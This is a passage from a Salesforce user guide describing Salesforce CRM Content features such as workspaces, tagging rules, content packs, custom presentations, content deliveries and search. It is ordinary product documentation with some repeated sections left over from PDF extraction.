Google docs in Salesforce CRM Content allows users to access all types of content from a single location and apply
Salesforce CRM Content functionality, such as votes, comments, and subscriptions, to Google docs.
262
Salesforce CRM Content Managing Workspaces
Managing Workspaces
Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions
Clicking the Workspaces tab opens the workspaces home page. On the home page you can access your personal workspace,
create new workspaces in Salesforce CRM Content, choose a specific workspace to view or edit, and analyze workspace usage
and activity. For details about the publishing options at the top of the page, see Uploading and Publishing Content on page
268. The workspaces home page has two tabs: Shared Content, which provides information about shared workspaces, and My
Personal Content, which contains information about your personal workspace.
Shared Content
The Shared Content tab on the workspaces home page contains the following sections:
My Workspaces
This section lists all the workspaces to which you have access. Click a workspace name to view details about that workspace
or click Browse to view a list of all the content in the workspace. Click the New button to create new workspaces, add
users to a workspace, or assign workspace permissions to users. For more information, see Creating Workspaces on page
1171.
Featured Content
This section lists the five pieces of content in your workspaces most recently designed as “featured.” Featured content
receives a higher priority than similar content in search results; for example, if 100 files contain the search criteria term
sales asset, any featured files with that term will appear at the top of the search results list. To see all featured
content, click Show All. To toggle a piece of content's feature status on or off, go to its content details page.
Top Content
This section includes lists that summarize content activity across all your workspaces. Each list sorts content according
to specific criteria. Within a list, click a file icon to download content or click a title to open the associated content details
page. In the Top Content section you can choose from the following categories:
• Publication Date—This content is sorted in descending order according to the most recent publication date. Choose
the number of records you want to view from the accompanying drop-down list, or click the Show All button to list
all the published files, Web links, and Google docs.
263
Salesforce CRM Content Managing Workspaces
• Num Downloads—This content is sorted in descending order according to the highest number of downloads. The
bar graphic indicates how one record compares to another. Choose the number of records you want to view from the
accompanying drop-down list, or click the Show All button to list all the downloaded content.
• Rating—This content is sorted in descending order according to the highest number of thumbs-up votes. Green
and red in the bar graphic represent positive and negative votes, respectively. Choose the number of records you want
to view from the accompanying drop-down list, or click the Show All button to list all the content with votes.
• Num Comments—This content is sorted in descending order according to the highest number of viewer comments.
The bar graphic indicates how one record compares to another. Choose the number of records you want to view
from the accompanying drop-down list, or click the Show All button to list all the content with associated comments.
Popular Tags
This section, commonly referred to as a “tag cloud,” shows you how the content in your workspaces has been labeled.
Tags are descriptive terms assigned during upload or revision that help classify and organize content. Click a tag name
to view search results containing all the files, Web links, and Google docs with that tag. The tag names increase in size
within the tag cloud according to popularity, meaning that the largest tags have been assigned to the most content. You
can choose to sort the tags alphabetically or by popularity. The tag cloud contains the 30 most popular tags.
Recent Activity
This section is a snapshot of activity within your workspaces. It shows the most recent files, Web links, and Google docs
to receive comments, votes, or subscriptions. Featured content and newly published content are also included, but new
versions of existing content, archived content, and deleted content do not appear in the Recent Activity section. Use the
Older and Newer buttons to scroll through records. The Recent Activity section contains a maximum of 100 records.
My Personal Content
The My Personal Content tab on the workspaces home page is your private workspace. When you upload or create content
and do not select a public workspace, your content is stored in your private workspace. You can publish content to a public
workspace at any time or leave content in your private workspace indefinitely. Content in your private workspace can be
assembled in content packs and custom presentations. It can also be sent to leads and contacts outside your organization using
the content delivery feature. See Setting up Content Deliveries on page 1175 for more information. The My Personal Content
tab has the following sections:
Personal Workspace
If you choose the Save to my personal workspace option when publishing a file, Web link, content pack, or Google
doc, your content is saved here. You can publish or delete files from this list or click the file's name to view its content
details page. The following options that are available on the content details page for shared content are not available for
personal-workspace content: tagging, rating, subscribing, tracking downloads, tracking subscriptions, or using custom
fields. If you publish a file from the Personal Workspace list and click Cancel during the publishing process, your file
is deleted.
Upload Interrupted
If an error occurs when you are uploading a new file, for example your browser crashes or your session times out, the file
you were uploading is saved here. Click Publish to publish the file to a public workspace or save it to your personal
workspace. If you click Cancel on the Save or Publish Content dialog, your file will be deleted.
264
Salesforce CRM Content Viewing and Editing Workspaces
See Also:
Creating Workspaces
Managing Workspace Permissions
Viewing and Editing Workspaces
Uploading and Publishing Content
Searching for Content
Creating Content Deliveries
Once you have located a Salesforce CRM Content workspace in the My Workspaces area of the Workspaces tab home page
or on a content details page, click the workspace name to display detailed information. For details about the publishing options
at the top of the page, see Uploading and Publishing Content on page 268.
From the workspace title area, you can click the following quick links:
• Browse to view search results showing all the content in the workspace.
• Edit to change the workspace name or description.
• Delete to delete an empty workspace. If you want to delete a workspace that contains content, you must first move the
content to another workspace or delete it and empty the Recycle Bin.
Note: If your Recycle Bin is empty and you are unable to delete the workspace, another user's Recycle Bin may
contain deleted content from the same workspace. A workspace cannot be deleted until all its content is permanently
deleted or moved to another workspace.
265
Salesforce CRM Content Viewing and Editing Workspaces
• Edit Members to add or remove workspace members or change their workspace permission.
• Tagging Rules to change the tagging method permitted in the workspace.
• Content Types to restrict the content types available to workspace contributors.
• View Archived Content to view a list of archived content in the workspace. If you do not have the Archive Content
or Manage Workspaces privilege in your workspace permission, the archived content list only contains content that you
authored and archived, not content that other authors archived.
To remove a member from the workspace, click Remove. To change a member's workspace permission, click Edit and
choose a new workspace permission from the drop-down list.
Featured Content
This section lists the five pieces of content in the workspace most recently designated as “featured.” If no content has
been featured, this section does not display. Featured content receives a higher priority than similar content in search
results; for example, if 100 files contain the search criteria term sales asset, any featured files with that term will
appear at the top of the search results list. To see all featured content, click Show All. To toggle the feature status on or
off, go to its content details page.
Top Content
This section includes lists that summarize content activity in your workspace. Within a list, click a file icon to download
the content or click the title to open the associated content details page. In the Top Content section you can choose
from the following categories:
• Publication Date—This content is sorted in descending order according to the most recent publication date. Choose
the number of records you want to view from the accompanying drop-down list, or click the Show All button to list
all the published files, Web links, and Google docs.
• Num Downloads—This content is sorted in descending order according to the highest number of downloads. The
bar graphic indicates how one record compares to another. Choose the number of records you want to view from the
accompanying drop-down list, or click the Show All button to list all the downloaded content.
266
Salesforce CRM Content Viewing and Editing Workspaces
• Rating—This content is sorted in descending order according to the highest number of thumbs-up votes. Green
and red in the bar graphic represent positive and negative votes, respectively. Choose the number of records you want
to view from the accompanying drop-down list, or click the Show All button to list all the content with votes.
• Num Comments—This content is sorted in descending order according to the highest number of viewer comments.
The bar graphic indicates how one record compares to another. Choose the number of records you want to view
from the accompanying drop-down list, or click the Show All button to list all the content with associated comments.
Popular Tags
This “tag cloud” shows you how the content in your workspace has been labeled. Tags are descriptive terms assigned
during upload or revision that help classify and organize content. Click a tag name to view search results containing all
the files, Web links, and Google docs with that tag. The tag names increase in size within the tag cloud according to
popularity, meaning that the largest tags have been assigned to the most content. You can choose to sort the tags
alphabetically or by popularity. The tag cloud contains the 30 most popular tags.
Recent Activity
This section is a snapshot of activity within your workspace. It shows the most recent files, Web links, and Google docs
to receive comments, votes, or subscriptions. Featured content and newly published content are also included, but new
versions of existing content, archived content, and deleted content do not appear in the Recent Activity section. Use the
Older and Newer buttons to scroll through records. The Recent Activity section contains a maximum of 100 records.
See Also:
Managing Workspaces
Creating Workspaces
Assigning Workspace Tagging Rules
Restricting Content Types
Searching for Content
Uploading and Publishing Content
Deleting, Archiving, and Restoring Content
267
Salesforce CRM Content Uploading and Publishing Content
The Workspaces tab has several publishing-related options at the top of the page that let you upload, classify, and publish
files, content packs, Web links, and Google docs in Salesforce CRM Content.
Note: The Add Google Doc drop-down list on the Workspaces tab only displays if your administrator has enabled
the Add Google Doc to Salesforce.com service. For more information, see Activating Google Docs in Salesforce.com
on page 302. For information about associating Google docs with Salesforce CRM Content from your Google Apps
account, see Installing the Add Google Doc to Salesforce.com Browser Button on page 307.
To publish files, Web links, and Google docs in Salesforce CRM Content, or to create content presentations and content
packs, refer to the following topics:
268
Salesforce CRM Content Contributing Files to Salesforce CRM Content
See Also:
Using Google Docs in Salesforce.com
Searching for Content
Updating Content Versions
• If the workspace does not have a tagging rule or if your administrator assigned the open tagging rule, you can enter
tags in the Tags field. As you type a tag, Salesforce CRM Content autosuggests tags based on your My Recent Tags
269
Salesforce CRM Content Contributing Web Links to Salesforce CRM Content
list and the Popular Tags section on the Workspaces tab. The My Recent Tags list on the Contribute window shows
the 20 tags you have used most recently. Click a tag to add it to the Tags field automatically.
• If your administrator assigned the guided tagging rule, you can choose from the list of suggested tags or enter a new
tag. Click a suggested tag to add it to the Tags field automatically.
• If your administrator assigned the restricted tagging rule, you must choose from the list of suggested tags. When you
select a tag it turns green.
• You can't change or delete tag names. You can remove tags from a document, but that doesn't delete the tag.
• Tags are case insensitive. You can't have two tags with the same name even if they use different upper and lowercase
letters. The case of the original tag is always used.
8. If multiple content types are available, choose one from the drop-down list. The content type determines which custom
fields appear for you to categorize and define your content.
9. After completing the custom fields, click Publish or Save.
Note: Contact Manager, Group, Professional, Enterprise, and Unlimited Edition customers can publish a maximum
of 5,000 new versions per 24–hour period. Developer Edition and trial users can publish a maximum of 2,500 new
versions per 24–hour period.
See Also:
Uploading and Publishing Content
Managing Workspaces
Contributing Web Links to Salesforce CRM Content
Contributing Google Docs to Salesforce CRM Content
270
Salesforce CRM Content Contributing Web Links to Salesforce CRM Content
Note: To publish multiple pieces of content at once, select two or more checkboxes in the My Personal Content
tab and click Publish Selected. All selected content displays in a tab set within the Save or Publish Content dialog.
Complete the following steps for each tab in the Save or Publish Content dialog.
• If the workspace does not have a tagging rule or if your administrator assigned the open tagging rule, you can enter
tags in the Tags field. As you type a tag, Salesforce CRM Content autosuggests tags based on your My Recent Tags
list and the Popular Tags section on the Workspaces tab. The My Recent Tags list on the Contribute window shows
the 20 tags you have used most recently. Click a tag to add it to the Tags field automatically.
• If your administrator assigned the guided tagging rule, you can choose from the list of suggested tags or enter a new
tag. Click a suggested tag to add it to the Tags field automatically.
• If your administrator assigned the restricted tagging rule, you must choose from the list of suggested tags. When you
select a tag it turns green.
• You can't change or delete tag names. You can remove tags from a document, but that doesn't delete the tag.
• Tags are case insensitive. You can't have two tags with the same name even if they use different upper and lowercase
letters. The case of the original tag is always used.
8. If multiple content types are available, choose one from the drop-down list. The content type determines which custom
fields appear for you to categorize and define your content.
9. After completing the custom fields, click Publish or Save.
See Also:
Uploading and Publishing Content
Contributing Files to Salesforce CRM Content
Contributing Google Docs to Salesforce CRM Content
271
Salesforce CRM Content Contributing Google Docs to Salesforce CRM Content
With Google Docs™, you can create and share on-demand documents, presentations, and spreadsheets (Google docs) and
see your changes in real time as you collaborate with other users. Associating your Google docs with Salesforce CRM Content
allows you to access all types of content from a single, fully-indexed location. It also ensures that your Google docs receive the
feedback and tracking benefits provided by Salesforce CRM Content features such as votes, comments, and subscriptions.
Note: The Add Google Doc drop-down list on the Workspaces tab only displays if your administrator has enabled
the Add Google Doc to Salesforce.com service. For more information, see Activating Google Docs in Salesforce.com
on page 302. For information about associating Google docs with Salesforce CRM Content from your Google Apps
account, see Installing the Add Google Doc to Salesforce.com Browser Button on page 307.
272
Salesforce CRM Content Contributing Google Docs to Salesforce CRM Content
• If your administrator assigned the guided tagging rule, you can choose from the list of suggested tags or enter a new
tag. Click a suggested tag to add it to the Tags field automatically.
• If your administrator assigned the restricted tagging rule, you must choose from the list of suggested tags. When
you select a tag it turns green.
• You can't change or delete tag names. You can remove tags from a document, but that doesn't delete the tag.
• Tags are case insensitive. You can't have two tags with the same name even if they use different upper and lowercase
letters. The case of the original tag is always used.
f. If multiple content types are available, choose one from the drop-down list. The content type determines which custom
fields appear for you to categorize and define your content.
g. After completing any custom fields, click Publish to save the Google doc to its Salesforce CRM Content workspace,
or click Cancel to save the doc to your personal workspace. From there you can delete the doc from Salesforce CRM
Content or publish it later. Once a Google doc is published in Salesforce CRM Content, all workspace members can
search for the doc and provide feedback such as comments and votes.
Note: While you have your Google doc open, remember to share it with other Google Apps users in your organization.
Only users with access to the Google doc in their Google Apps account can open the doc from Salesforce CRM
Content.
9. If multiple content types are available, choose one from the drop-down list. The content type determines which custom
fields appear for you to categorize and define your content.
273
Salesforce CRM Content Creating and Modifying Content Packs in Salesforce CRM Content
See Also:
Using Google Docs in Salesforce.com
Uploading and Publishing Content
A content pack is a collection of related documents or files that are stored as a group in Salesforce CRM Content. For example,
you may want to create a content pack with a product list, price quote, and contract to send to a particular customer. Any file
in Salesforce CRM Content can be added to a content pack, from traditional business documents such as Microsoft® PowerPoint
presentations and Adobe® PDF files, to audio files, video files, and Google docs. Using email or instant messaging, you can
distribute the content pack to colleagues in your organization or leads and contacts outside your organization. The recipient
of a content delivery can click a single URL to open a preview player with which he or she can preview and download the
content. You can then view tracking information to see how often the content pack was viewed and which documents were
downloaded. For information about delivering content packs, see Setting up Content Deliveries on page 1175.
Note: Content packs support all files types; however, the preview player launched by the content-delivery URL displays
only PowerPoint, Word, Excel, and PDF files. The preview player does not display copy-protected PDFs. Also,
working with content packs requires Adobe Flash® Player, version 9.0.11.5 or higher. If you do not have Flash installed,
Salesforce.com provides a link to Adobe's website where you can download Flash for free.
1. Depending on whether you want to create, customize, or modify a content pack, use one of the following options:
Note: The following options are only available if Enable content pack creation is selected on the Setup
➤ Customize ➤ Salesforce CRM Content ➤ Settings page. If content pack creation is disabled after packs have
been created, Salesforce.com does not delete existing packs but they cannot be customized or modified.
• To create a new content pack, click the Workspaces tab and then choose Create New ➤ Content Pack.
• To create a new content pack by copying an existing pack and adding, removing, or reordering files, open the content
details page for the pack and click Clone & Customize.
274
Salesforce CRM Content Creating and Modifying Content Packs in Salesforce CRM Content
• To update a content pack and publish a new version, open the content details page for the pack and click Edit ➤ Edit
Content Pack.
2. Click Search files to display all the content in your workspaces. To refine your results, select a specific workspace to search
or enter a search term in the text box.
In addition to files and documents, search results also list content packs.
3. Drag the desired content from the search results into the assembly section in the lower half of the window. The following
options help you assemble your content pack:
• In the search results, click a document to preview it in the lower half of the window. Choose Add to Content Pack or
Hide preview as needed.
• In the search results, hover over a document and click the folder icon ( ) to view the content packs that use the
document.
• In the search results, hover over a content pack and click the folder icon ( ) to view all the documents in the pack.
• In the assembly section, hover over a document and click the garbage can icon ( ) to remove that document from the
pack you are assembling.
• Click Clear at any time to revert your changes; click Cancel to return to the Workspaces tab.
Note: The maximum number of files that can be included in a content pack is 50.
4. When you are done assembling or modifying your content pack, click Save and assign or change the content pack's name.
5. In the Save or Publish Content dialog:
a. Select a workspace. If you do not want the content pack to be visible to other users in your organization, for example
if your work is still in progress, choose Save in my personal workspace.
b. Optionally, add or modify the content pack's description.
c. Optionally, choose a language. The Language drop-down list is displayed if multi-language support is enabled. If you
do not choose a language, Salesforce CRM Content associates your content with your personal language setting. If
users restrict their content searches to a particular language, only content associated with that language is displayed in
the search result set.
d. If you are modifying the content pack, complete the Reason for Change field.
e. To publish the content on behalf of another author, choose that author from the drop-down list.
f. Tag your content. Your tagging permission depends on the tagging rule assigned to the workspace:
• If the workspace does not have a tagging rule or if your administrator assigned the open tagging rule, you can enter
tags in the Tags field. As you type a tag, Salesforce CRM Content autosuggests tags based on your My Recent
Tags list and the Popular Tags section on the Workspaces tab. The My Recent Tags list on the Contribute window
shows the 20 tags you have used most recently. Click a tag to add it to the Tags field automatically.
• If your administrator assigned the guided tagging rule, you can choose from the list of suggested tags or enter a new
tag. Click a suggested tag to add it to the Tags field automatically.
• If your administrator assigned the restricted tagging rule, you must choose from the list of suggested tags. When
you select a tag it turns green.
• You can't change or delete tag names. You can remove tags from a document, but that doesn't delete the tag.
• Tags are case insensitive. You can't have two tags with the same name even if they use different upper and lowercase
letters. The case of the original tag is always used.
275
Salesforce CRM Content Creating and Modifying Presentations in Salesforce CRM Content
g. If multiple content types are available, choose one from the drop-down list. The content type determines which custom
fields appear for you to categorize and define your content.
h. Click Publish. You can then view the content details page, return to the Workspaces tab, or publish another file.
See Also:
Uploading and Publishing Content
Deleting, Archiving, and Restoring Content
Viewing and Editing Content Subscriptions
Note: Microsoft Office 2007 file previews are currently available through a pilot program.
In Salesforce CRM Content, you can create a custom Microsoft® PowerPoint presentation by searching for and previewing
slides, then easily assembling them in whatever sequence you choose using a simple drag-and-drop assembly tool.
When you publish a PowerPoint file, Salesforce CRM Content not only uploads the entire file to your workspace but also
extracts the individual slides so they are available when you assemble or modify a presentation. Salesforce CRM Content can
perform a full-text search of each slide and return only slides applicable to your purpose, or you can browse all slides published
into your workspaces. The assembly tool allows you to create or modify the custom presentation by dragging and dropping
individual slides. You can publish the presentation to a public workspace or keep it in your personal content area.
Note: Working with presentations requires Adobe Flash® Player, version 9.0.11.5 or higher. If you do not have Flash
installed, Salesforce.com provides a link to Adobe's website where you can download Flash for free.
1. Depending on whether you want to create, copy, or modify a presentation, use one of the following options:
276
Salesforce CRM Content Creating and Modifying Presentations in Salesforce CRM Content
Note: The following options are only available if Enable presentation assembly is selected on the Setup
➤ Customize ➤ Salesforce CRM Content ➤ Settings page. If presentation assembly is disabled after presentations
have been created, Salesforce.com does not delete existing presentations but they cannot be customized or modified.
• To create a new presentation, click the Workspaces tab and then choose Create New ➤ Presentation.
• To create a new presentation by copying an existing presentation, on the content details page click Clone & Customize.
• To modify a presentation and save it as a new version, on the content details page click Edit ➤ Edit Presentation.
Note: When you create, clone & customize, or modify a presentation, it may time out. In this case, we recommend
that you assemble the presentation outside of Salesforce CRM Content and then upload it into the appropriate
workspace.
2. Click Search presentations to display all the PowerPoint files in your workspaces or click Search slides to display all the
individual slides in your workspaces. To refine your results, select a specific workspace to search or enter a search term in
the text box before clicking either button. Note that any PowerPoint 2007 files in your workspaces do not appear in search
results and cannot be assembled into presentations.
Note: Some slide thumbnails may not be visible or may only be partially visible, but you can click on them to see
the preview in the lower half of the window. You can re-upload the slide if you want the thumbnail to be visible.
3. Drag the desired files or slides from the search results into the assembly section in the lower half of the window. The
following options help you assemble your presentation:
• In search results, click a file or slide to preview it in the lower half of the window. Choose Add to presentation or Hide
preview as needed.
• Click Clear at any time to revert your changes; click Cancel to return to your starting point.
• In search results, hover over a presentation and click the slides icon ( ) to view all the slides in the presentation.
• In search results, hover over a slide and click the presentation icon ( ) to view all the presentations that use that slide.
• In the assembly section, hover over a document and click the garbage can icon ( ) to remove that document from the
presentation you are assembling.
4. When you are done assembling your presentation, click Save, assign or change the presentation's name.
5. In the Save or Publish Content dialog:
a. Select a workspace. If you do not want the presentation to be visible to other users in your organization, for example
if your work is still in progress, choose Save in my personal workspace.
b. Optionally, add or modify the presentation's description.
c. Optionally, choose a language. The Language drop-down list is displayed if multi-language support is enabled. If you
do not choose a language, Salesforce CRM Content associates your content with your personal language setting. If
users restrict their content searches to a particular language, only content associated with that language is displayed in
the search result set.
d. If you are modifying the presentation, complete the Reason for Change field.
e. To publish the content on behalf of another author, choose that author from the drop-down list.
f. Tag your content. Your tagging permission depends on the tagging rule assigned to the workspace:
• If the workspace does not have a tagging rule or if your administrator assigned the open tagging rule, you can enter
tags in the Tags field. As you type a tag, Salesforce CRM Content autosuggests tags based on your My Recent
Tags list and the Popular Tags section on the Workspaces tab. The My Recent Tags list on the Contribute window
shows the 20 tags you have used most recently. Click a tag to add it to the Tags field automatically.
277
Salesforce CRM Content Using the Content Deliveries Related List
• If your administrator assigned the guided tagging rule, you can choose from the list of suggested tags or enter a new
tag. Click a suggested tag to add it to the Tags field automatically.
• If your administrator assigned the restricted tagging rule, you must choose from the list of suggested tags. When
you select a tag it turns green.
• You can't change or delete tag names. You can remove tags from a document, but that doesn't delete the tag.
• Tags are case insensitive. You can't have two tags with the same name even if they use different upper and lowercase
letters. The case of the original tag is always used.
g. If multiple content types are available, choose one from the drop-down list. The content type determines which custom
fields appear for you to categorize and define your content.
h. Click Publish. You can then view the content details page, return to the Workspaces tab, or publish another file.
See Also:
Uploading and Publishing Content
Viewing and Editing Content Details
A content delivery allows you to easily convert documents such as Microsoft® PowerPoint and Word files into an optimized
web-based version for easy online viewing. Once you create your delivery, you can send its encrypted URL to any recipient,
such as leads, customers, partners, and colleagues, and then track how often the content is viewed or downloaded. In addition
to tracking, content deliveries provide several benefits over sending files as attachments, such as giving you control over how
long the delivery is available to viewers and whether a viewer can download a file or see it online only.
From the Content Deliveries related list on leads, business accounts, contacts, opportunities, cases, campaigns, and custom
objects you can:
• Click Deliver Content to create a new content delivery and associate it with the record you are viewing. For more
information, see Creating Content Deliveries on page 279.
• Click Preview to open the content delivery. Each time you view a content delivery, it is recorded as one internal view on
the Views related list.
278
Salesforce CRM Content Creating Content Deliveries
• Click the content delivery name to open the detail page for that delivery. For more information, see Viewing and Editing
Content Deliveries on page 281.
See Also:
Salesforce CRM Content Overview
To create content deliveries from a personal workspace “Deliver Uploaded Files and Personal Content” checked in
inSalesforce CRM Content: your general permission definition
To create content deliveries (non-Content user): “Deliver Uploaded Files and Personal Content” checked in
your general permission definition
A content delivery allows you to easily convert documents such as Microsoft® PowerPoint and Word files into an optimized
web-based version for easy online viewing. Once you create your delivery, you can send its encrypted URL to any recipient,
such as leads, customers, partners, and colleagues, and then track how often the content is viewed or downloaded. In addition
to tracking, content deliveries provide several benefits over sending files as attachments, such as giving you control over how
long the delivery is available to viewers and whether a viewer can download a file or see it online only.
A content delivery can be created from the Content Deliveries related list on most Salesforce objects. Salesforce CRM Content
users can also create a content delivery from the content details page or the Related Content related list.
To create a new content delivery:
1. From the Content Deliveries related list, Related Content related list, or the content details page, click Deliver Content.
2. Upload a file or confirm the file name. If you are a Salesforce CRM Content user, search for the content in your workspaces
that you want to deliver. Salesforce CRM Content users can search for content in shared workspaces or a personal workspace.
3. Optionally, modify the Delivery Name field. This is the name that identifies your content delivery in Salesforce.com.
We recommend using a name that will make the delivery easily distinguishable from other deliveries on the same record.
The default delivery name includes the file name and today’s date.
4. Select the delivery methods that determine how your content can be viewed. The options that appear depend on the file
format you uploaded.
279
Salesforce CRM Content Creating Content Deliveries
• Choose Allow Recipient to View in the Browser to create an online version of the file that recipients can
view in their browser.
• Choose Allow Recipient to Download as [file type] file to allow the recipient of your content delivery
to view the content in its original format. For example, if you uploaded a Microsoft® Word file, this field will be Allow
download as .doc file.
• Choose Allow Recipient to Download as PDF to create a .pdf version of the file. This option is only available
for Microsoft® PowerPoint, Word, and Excel files.
5. Select Notify Me of First View or Download if you want to receive an email the first time your recipient clicks
the content-delivery URL.
6. If the content you are delivering is time-sensitive, select the Remove Access to Content on checkbox and enter an
expiration date. By default, the expiration date is 90 days from the current date. After creating your content delivery, you
can change the expiration date at any time on the delivery detail page.
7. Optionally, select Require a Password to Access Content. When you create the content delivery you will receive
a password to include with the delivery URL that you send to your recipients. The password is available for the life of the
delivery on the delivery detail page.
8. Optionally, use the lookup to associate your content delivery with a Salesforce.com record. The record you were viewing
when you clicked Deliver Content is selected by default.
9. Click Save & Next. Your delivery will usually be ready within a few moments, but you can click Notify Me to exit the
content delivery wizard and be notified via email when your content delivery is ready.
10. If you did not exit the content delivery wizard, click Preview to verify that you are satisfied with the delivery.
Important: Formatting in the original file may not display correctly in the online version. If you chose Allow
Recipient to View in the Browser, preview your content delivery before sending its URL to your
recipients. If you are not happy with the quality of the online version, click Previous and choose to make your
content available in its original file format or a PDF only.
11. Copy and paste the delivery URL and, if applicable, its password into an email or instant message for delivery. The URL
is available on the delivery detail page. For more information, see Viewing and Editing Content Deliveries on page 281.
See Also:
Using the Content Deliveries Related List
Setting up Content Deliveries
Salesforce CRM Content Overview
280
Salesforce CRM Content Viewing and Editing Content Deliveries
On the Content Deliveries related list or the Content Deliveries list page, click the name of a content delivery to open the
detail page.
Viewing Content Delivery Details
The delivery detail page provides all the information associated with a content delivery, including the URL required to
access the content delivery, the number of times the delivery has been viewed, and the delivery settings. For a description
of each field, see Content Delivery Fields on page 1177.
281
Salesforce CRM Content Searching for Content
content delivery provided the ability to download the file in its original file format or as a PDF file, the File Downloaded
flag indicates that a download occurred, but you cannot distinguish between file types.
See Also:
Creating Content Deliveries
Using the Content Deliveries Related List
Clicking the Content tab displays files, content packs, Web links, and Google docs published in your Salesforce CRM Content
workspaces. If Salesforce Chatter is enabled, files posted to Chatter groups and other Chatter files are also displayed on the
Content tab. The top twenty most recently modified items are listed by default. You can filter the list using the Filter Your
Results sidebar.
To search for specific content:
1. From the Search drop-down list, restrict your search to a specific workspace or choose to search in all workspaces. If
Salesforce Chatter is enabled, you can restrict your search using:
• All Files—All workspaces and Chatter groups you're a member of and files posted to the Chatter feed on the Home
tab and on profiles.
• Chatter Files—All Chatter groups you're a member of and files posted to the Chatter feed on the Home tab and on
profiles.
• My Chatter Groups—All Chatter groups you're a member of.
• My Workspaces—All workspaces you're a member of and your personal workspace.
Tip: To display all the locations where the content appears, click Display Options and select Display Locations.
The locations are listed under each title
.
2. Enter your search term(s) and click Go!. Salesforce CRM Content performs a full-text search of the following document
types in Salesforce Chatter and in your workspace(s): rich text format (RTF), UTF-8 encoded TXT, HTML, XML,
Adobe® PDF, and Microsoft® Office 97 through Microsoft Office 2007 Word, Excel, and PowerPoint files. Wildcard
searches (*) are not supported.
282
Salesforce CRM Content Searching for Content
3. If multi-language support is enabled, you can restrict your search to a specific language. By default, Salesforce CRM
Content searches all the content in your workspace(s) that is published in your default user language. Searching in all
languages also searches the titles, author names, tags, file extensions, and custom fields of content in all languages.
Note: Searching in all languages does not search the text or description of documents that were published in
languages other than your default user language.
4. Optionally, in the Filter Your Results sidebar, filter your search results by file format, featured content, author, tag,
workspaces, content type, language, or a custom field. If Salesforce Chatter is enabled, you can also filter your search results
by Chatter groups. The number in parentheses next to each filter type shows you how many matching files, content packs,
Web links, and Google docs are in the search results.
• Click Display Options to customize your view by adding sortable columns for various content criteria (such as Size and
Publication Date), or choosing to display descriptions, tags and locations. Display Locations shows the workspaces and
Chatter groups where the content appears. My Workspaces: none or My Chatter Groups: none means that the file is a
Chatter file and is not part of any workspaces or Chatter groups. The “smart bar” graphic for downloads, comments, ratings,
and subscribers allows you to compare files, content packs, Google docs, and links within a search result set.
• Select one or more files and click Download to create a zip file with your selected content. Web links and Google docs
cannot be included in zip files.
• Hover over a file icon to see a snapshot of information about the specific file, content pack, Google doc, or Web link and
options such as subscribing, voting, and downloading.
• Click the subscription icon next to the file name to toggle a subscription on or off. For more information, see Viewing and
Editing Content Subscriptions on page 288.
• Click the file name to view the content details page. The content details page provides all the available information about
a file, content pack, Google doc, or link. For more information, see Viewing and Editing Content Details on page 284.
See Also:
Deleting, Archiving, and Restoring Content
Uploading and Publishing Content
Managing Workspaces
283
Salesforce CRM Content Viewing and Editing Content Details
Clicking a file name on the Workspaces, Content, or Subscriptions tabs opens the content details page, which is a central
access point to preview content and gather information about a particular file, Web link, content pack, or Google doc in
Salesforce CRM Content. Starting with the Summer '10 release, if Salesforce Chatter is enabled for your organization, files
posted to Chatter are also listed.
The Preview tab displays if your file is one of the following types:
• Microsoft® Office 97 through Microsoft Office 2007 Word, Excel, and PowerPoint. Some Microsoft Office 2007 features
don't display correctly in previews.
284
Salesforce CRM Content Viewing and Editing Content Details
The following options are available on the content details page depending on the type of content you are viewing, your
workspace permissions, and whether the content is in a public or private workspace, or from Chatter:
• Click the thumbs up or thumbs down icon to vote for the file, Web link, content pack, or Google doc. To change your
vote, click the opposite icon. After you cast a vote, the Recent Activity list on the Workspaces tab indicates whether you
like or dislike the content.
• Click Deliver Content to create a content delivery. Click Deliver Content ➤ Show Content Deliveries to view a list of
deliveries associated with the content.
• For Web links or Google docs, click the Open button to open the Web page in a separate window. For files, click the
Download button to open or save the file.
• Click Subscribe or Subscribed to toggle your subscription on or off.
• For content packs or presentations, click Clone & Customize to create a new pack or presentation by adding or removing
files and slides. Salesforce CRM Content saves or publishes your customized pack or presentation as new content, not a
version of the pack or presentation you copied.
• Click Edit ➤ Edit Content Details to modify standard and custom fields.
• Click Edit ➤ Edit Presentation to create a new version of a presentation by adding or removing slides. Click Edit ➤
Edit Content Pack to create a new version of a content pack by adding or removing files.
• For files, click Edit ➤ Upload New Version to replace the file with a new version. The version option is not available for
Web links, content packs, or Google docs.
Note: If the Add New Version button is grayed out, your organization has exceeded its file storage allowance and
new content cannot be uploaded.
• Click Edit ➤ Archive Content to remove the file, Web link, content pack, or Google doc from the workspace. Authors
can archive and restore their own content regardless of workspace permissions.If a file is in Salesforce CRM Content and
also posted in Salesforce Chatter, archiving it doesn't remove the Chatter post.
• Click Edit ➤ Delete Content to delete the file, Web link, content pack, or Google doc from Salesforce CRM Content
by moving it to the Recycle Bin. Authors can delete and undelete their own content regardless of workspace permissions.
Deleting a Google doc removes the doc's association with Salesforce CRM Content but does not delete the doc in Google
Apps. You cannot delete a file that is included in a content pack or content delivery. Deleting a Chatter file from the
content details page deletes the file from Salesforce CRM Content and from Chatter.
• Click Edit ➤ Workspace Actions and choose Move to Another Workspace to move the content to a different managing
(or “home”) workspace. Choose Share to Another Workspace to share content into additional workspaces without changing
the managing workspace. Sharing or linking content to other workspaces enables members of those workspaces to find
your content. If the managing workspace and shared workspace have different tagging rules, the most restrictive tagging
rule applies. If you want to remove content from a workspace where the content is shared, click Remove from Workspaces.
This option does not remove content from its managing workspace
• Click the Comments subtab to view, add, edit, or delete comments.
• Click the Versions subtab to view a list of all file versions and the reason-for-change statements provided by the authors.
• Click the Downloads subtab to view a list of all Salesforce CRM Content users who have downloaded the file. Download
data is not available for Web links or Google docs.
• Click the Subscribers subtab to view a list of all Salesforce CRM Content users subscribed to the file, Web link, or Google
doc. To subscribe to an author, click the drop-down button next to the author's name. To subscribe to a workspace, click
the drop-down button next to the workspace name.
285
Salesforce CRM Content Deleting, Archiving, and Restoring Content
• Click a tag name to view all the content associated with that tag. Click the arrow next to the tag to remove the tag or to
subscribe to all content with that tag.
• To add a new tag, enter a tag name in the Add Tags field and click Save. As you type a tag, Salesforce CRM Content
autosuggests tags based on the tags in your My Recent Tags list in the Save or Publish window and the Popular Tags
section on the Workspaces tab.
Note: If your administrator applied a workspace tagging rule, you may not be able to enter new tags. If the guided
tagging rule is applied, you can click Add Tags and choose from the list of suggested tags or enter new tags. If the
restricted workspace tagging rule is applied, you can click Add Tags and choose from the list of suggested tags,
but you cannot enter your own tags.
• Click the author's name to see a list of the author's published content. Click the arrow next to the author's name and choose
